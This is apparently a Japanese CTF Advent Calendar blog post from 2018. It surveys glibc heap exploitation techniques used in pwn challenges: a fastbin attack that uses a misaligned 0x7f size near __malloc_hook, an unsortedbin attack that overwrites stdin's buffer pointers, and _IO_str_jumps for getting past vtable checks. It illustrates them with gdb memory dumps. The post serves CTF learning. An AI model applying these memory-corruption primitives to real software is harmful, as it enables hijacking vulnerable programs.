最近のCTFで出題されるglibc heap問で個人的によく使うテクニックについて
はじめに
これは CTF Advent Calendar 2018 - Adventar の8日目の記事です。 7日目は、@bata_24 さんの 「WCTF 2018 - klist Writeup - HackMD 」でした。
この記事は、タイトル通りに私が個人的に「よく使うなぁ・他のwriteupでよく見るなぁ」と感じたテクニックの紹介です。 ですが紹介なので、glibc heapの挙動について詳細な説明は特にしないです。 テクニックが何故通用するのかは各自でソースコード読んで理解してください。 また、glibcのバージョンによっては通用しないものもあるので注意してください。 テクニックの名前自体はクソ適当です。
fastbin attack with 0x70 chunk
概要
結構前から汎用的に使われているテクニック。 fastbinに繋がれたチャンクをmalloc()などで取り出す時に、チェックが甘いことに起因する。 libcのdata, bssにあるデータを利用して、その付近のメモリをmalloc()で取得するテクニック。
使用条件
- UAFやheap bofなどで、free済みのチャンクのfdを任意に制御できる
- 0x59から0x68までのサイズでmalloc()を呼べる
- libcのアドレスが分かっている(これが絶対かは問題による)
やり方
x64のlinuxでは、libcなどのライブラリが配置されるアドレスは、0x7fXX_XXXXXXXX
となっている。
アドレスをズラして見ると、0x7f
と見ることができ、fastbinに繋げられるchunkのsizeとしてvalidになる。
つまり、fastbin関連のチェックをすり抜けられる。
__malloc_hook
をターゲットとした例を説明する。
今回の__malloc_hook
が存在するアドレスは、0x7ffff7dd1b10
となっている。
それよりも前のメモリがどうなっているか調べると、いくつか0x7fXX_XXXXXXXXと
なる値が存在する。
これを数byteズラして見ると、0x7fをサイズとして利用できる。
__malloc_hookのアドレス gdb-peda$ p &__malloc_hook $3 = (void *(**)(size_t, const void *)) 0x7ffff7dd1b10 <__malloc_hook> 適当に数byte前を見てみる gdb-peda$ x/8gx 0x7ffff7dd1b10-0x20 0x7ffff7dd1af0 <_IO_wide_data_0+304>: 0x00007ffff7dd0260 0x0000000000000000 0x7ffff7dd1b00 <__memalign_hook>: 0x00007ffff7a92e20 0x00007ffff7a92a00 0x7ffff7dd1b10 <__malloc_hook>: 0x0000000000000000 0x0000000000000000 0x7ffff7dd1b20 <main_arena>: 0x0000000000000000 0x0000000000000000 適当にズラして0x7fとする gdb-peda$ x/8gx 0x7ffff7dd1b10-0x20-3 0x7ffff7dd1aed <_IO_wide_data_0+301>: 0xfff7dd0260000000 0x000000000000007f 0x7ffff7dd1afd: 0xfff7a92e20000000 0xfff7a92a0000007f 0x7ffff7dd1b0d <__realloc_hook+5>: 0x000000000000007f 0x0000000000000000 0x7ffff7dd1b1d: 0x0000000000000000 0x0000000000000000
今、0x70のチャンクがfastbinに繋がっている。
このチャンクのfdに先ほどのアドレス(0x7ffff7dd1aed
)を書き込み、リストに繋げる。
そしてmalloc()していくと、その領域を取ることができる。
sizeが0x70のchunkが1つ存在しfreeされて、fastbinに繋がっている。 gdb-peda$ heapinfo (0x20) fastbin[0]: 0x0 (0x30) fastbin[1]: 0x0 (0x40) fastbin[2]: 0x0 (0x50) fastbin[3]: 0x0 (0x60) fastbin[4]: 0x0 (0x70) fastbin[5]: 0x602000 --> 0x0 (0x80) fastbin[6]: 0x0 top: 0x6020e0 (size : 0x20f20) last_remainder: 0x0 (size : 0x0) unsortbin: 0x0 そのchunkのfdを、uafなどで上書きできたと想定して、先ほどのアドレスを書き込む gdb-peda$ set {long}0x602010=0x7ffff7dd1aed エラーと言われるが気にしない gdb-peda$ heapinfo (0x20) fastbin[0]: 0x0 (0x30) fastbin[1]: 0x0 (0x40) fastbin[2]: 0x0 (0x50) fastbin[3]: 0x0 (0x60) fastbin[4]: 0x0 (0x70) fastbin[5]: 0x602000 --> 0x7ffff7dd1aed (size error (0x78)) --> 0xfff7a92e20000000 (invaild memory) (0x80) fastbin[6]: 0x0 top: 0x6020e0 (size : 0x20f20) last_remainder: 0x0 (size : 0x0) unsortbin: 0x0 先ほどのメモリがmalloc()で返ってくる gdb-peda$ call malloc(0x68) $5 = (void *) 0x602010 gdb-peda$ call malloc(0x68) $6 = (void *) 0x7ffff7dd1afd
unsotedbin attack to libc data region
概要
これも結構前からあるテクニック。
unsortedbin attackは、結果として任意の箇所に0x7fXX_XXXXXXXX
となる値を書き込むことができるが、どこに対して書き込むのかという話。
stdin/stdoutのバッファのポインタを書き換えて、バッファの範囲を変えると良い。
前提条件
- unsortedbin attackができる
- libcのアドレスが分かっている
やり方
よくやる/見るのが、stdinが持つbufのポインタに対して。
pwnで出題されるバイナリは、入出力のバッファリングを無効にしているケースが多い。
無効といっても、stdin/stdoutが持つメンバである_shortbuf
をバッファとして使用している。
scanf()などが呼ばれると、_shortbuf
にデータが書き込まれている。
バッファを指すポインタをunsortedbin attackで上書きして、バッファと見なす範囲を広げて不正に上書きできる状態を作り出すのが、このテクニックの肝である。
例を上げて流れを説明する。
例では、stdinの_IO_write_end
をunsortedbin attackで上書きする。
setbuf(stdin, NULL)を実行した後のstdinの状態は以下のようになっている。
read/write用のバッファは、stdinの内部に持っている_shortbuf
を指している。
gdb-peda$ x/32gx 0x7ffff7dd18e0 0x7ffff7dd18e0 <_IO_2_1_stdin_>: 0x00000000fbad208b 0x00007ffff7dd1963 0x7ffff7dd18f0 <_IO_2_1_stdin_+16>: 0x00007ffff7dd1963 0x00007ffff7dd1963 0x7ffff7dd1900 <_IO_2_1_stdin_+32>: 0x00007ffff7dd1963 0x00007ffff7dd1963 0x7ffff7dd1910 <_IO_2_1_stdin_+48>: 0x00007ffff7dd1963 0x00007ffff7dd1963 0x7ffff7dd1920 <_IO_2_1_stdin_+64>: 0x00007ffff7dd1964 0x0000000000000000 0x7ffff7dd1930 <_IO_2_1_stdin_+80>: 0x0000000000000000 0x0000000000000000 0x7ffff7dd1940 <_IO_2_1_stdin_+96>: 0x0000000000000000 0x0000000000000000 0x7ffff7dd1950 <_IO_2_1_stdin_+112>: 0x0000000000000000 0xffffffffffffffff 0x7ffff7dd1960 <_IO_2_1_stdin_+128>: 0x0000000000000000 0x00007ffff7dd3790 0x7ffff7dd1970 <_IO_2_1_stdin_+144>: 0xffffffffffffffff 0x0000000000000000 0x7ffff7dd1980 <_IO_2_1_stdin_+160>: 0x00007ffff7dd19c0 0x0000000000000000 0x7ffff7dd1990 <_IO_2_1_stdin_+176>: 0x0000000000000000 0x0000000000000000 0x7ffff7dd19a0 <_IO_2_1_stdin_+192>: 0x0000000000000000 0x0000000000000000 0x7ffff7dd19b0 <_IO_2_1_stdin_+208>: 0x0000000000000000 0x00007ffff7dd06e0 0x7ffff7dd19c0 <_IO_wide_data_0>: 0x0000000000000000 0x0000000000000000 0x7ffff7dd19d0 <_IO_wide_data_0+16>: 0x0000000000000000 0x0000000000000000 gdb-peda$ p *(struct _IO_FILE *) 0x7ffff7dd18e0 $5 = { _flags = 0xfbad208b, _IO_read_ptr = 0x7ffff7dd1963 <_IO_2_1_stdin_+131> "", _IO_read_end = 0x7ffff7dd1963 <_IO_2_1_stdin_+131> "", _IO_read_base = 0x7ffff7dd1963 <_IO_2_1_stdin_+131> "", _IO_write_base = 0x7ffff7dd1963 <_IO_2_1_stdin_+131> "", _IO_write_ptr = 0x7ffff7dd1963 <_IO_2_1_stdin_+131> "", _IO_write_end = 0x7ffff7dd1963 <_IO_2_1_stdin_+131> "", _IO_buf_base = 0x7ffff7dd1963 <_IO_2_1_stdin_+131> "", _IO_buf_end = 0x7ffff7dd1964 <_IO_2_1_stdin_+132> "", _IO_save_base = 0x0, _IO_backup_base = 0x0, _IO_save_end = 0x0, _markers = 0x0, _chain = 0x0, _fileno = 0x0, _flags2 = 0x0, _old_offset = 0xffffffffffffffff, _cur_column = 0x0, _vtable_offset = 0x0, _shortbuf = "", _lock = 0x7ffff7dd3790 <_IO_stdfile_0_lock>, _offset = 0xffffffffffffffff, _codecvt = 0x0, _wide_data = 0x7ffff7dd19c0 <_IO_wide_data_0>, _freeres_list = 0x0, _freeres_buf = 0x0, __pad5 = 0x0, _mode = 0x0, _unused2 = '\000' <repeats 19 times> }
今、0x110byteのサイズを持つチャンクがunsortedbinに繋がっている。
このチャンクのbkを書き換えて、malloc(0x100)を実行すると、unsortedbin attackが発生する。
stdinの内部に書き込まれた0x7ffff7dd1b78
をバッファの終端として使用するようになるため、大きくlibcの中身に書き込める状態を作れた。
unsortedbinが1つ存在している。 gdb-peda$ parseheap addr prev size status fd bk 0x602000 0x0 0x110 Freed 0x7ffff7dd1b78 0x7ffff7dd1b78 bkを上書きする gdb-peda$ set {long}0x602018=0x7ffff7dd1910 gdb-peda$ parseheap addr prev size status fd bk 0x602000 0x0 0x110 Freed 0x7ffff7dd1b78 0x7ffff7dd1910 malloc()を呼んで、unsortedbin attackを起こす gdb-peda$ call malloc(0x100) $7 = (void *) 0x602010 stdinの状態を確認すると、_IO_buf_endが書き換わっている。 gdb-peda$ x/20gx 0x7ffff7dd18e0 0x7ffff7dd18e0 <_IO_2_1_stdin_>: 0x00000000fbad208b 0x00007ffff7dd1963 0x7ffff7dd18f0 <_IO_2_1_stdin_+16>: 0x00007ffff7dd1963 0x00007ffff7dd1963 0x7ffff7dd1900 <_IO_2_1_stdin_+32>: 0x00007ffff7dd1963 0x00007ffff7dd1963 0x7ffff7dd1910 <_IO_2_1_stdin_+48>: 0x00007ffff7dd1963 0x00007ffff7dd1963 0x7ffff7dd1920 <_IO_2_1_stdin_+64>: 0x00007ffff7dd1b78 0x0000000000000000 gdb-peda$ p *(struct _IO_FILE *) 0x7ffff7dd18e0 $8 = { _flags = 0xfbad208b, _IO_read_ptr = 0x7ffff7dd1963 <_IO_2_1_stdin_+131> "", _IO_read_end = 0x7ffff7dd1963 <_IO_2_1_stdin_+131> "", _IO_read_base = 0x7ffff7dd1963 <_IO_2_1_stdin_+131> "", _IO_write_base = 0x7ffff7dd1963 <_IO_2_1_stdin_+131> "", _IO_write_ptr = 0x7ffff7dd1963 <_IO_2_1_stdin_+131> "", _IO_write_end = 0x7ffff7dd1963 <_IO_2_1_stdin_+131> "", _IO_buf_base = 0x7ffff7dd1963 <_IO_2_1_stdin_+131> "", _IO_buf_end = 0x7ffff7dd1b78 <main_arena+88> "\200!`",
_IO_str_jumps
stdin/stdoutなどにはvtableのポインタがあり、制御を奪取する際の狙い目である。
そのためかポインタが正常なものかチェックが入るようになった。
回避方法として、_IO_str_jumps
は手軽で汎用性が高い。
詳しくは以下のリンク先を参照
おわりに
ということで、以上が個人的によく使うテクニックでした。
明日は、@N4NU さんの「各種OSのUserlandにおけるPwn入門」です。 windowsやlinux以外のosについても紹介されそうなタイトルで、楽しみですね。
あと宣伝ですが、1人1日1writeup advent calendarというのを細々とやっています。 そちらも良かったら読んでいってください。 ただ既にwriteupのストックはないし、修論などで禿げそうなのでadvent calendarは失敗しました。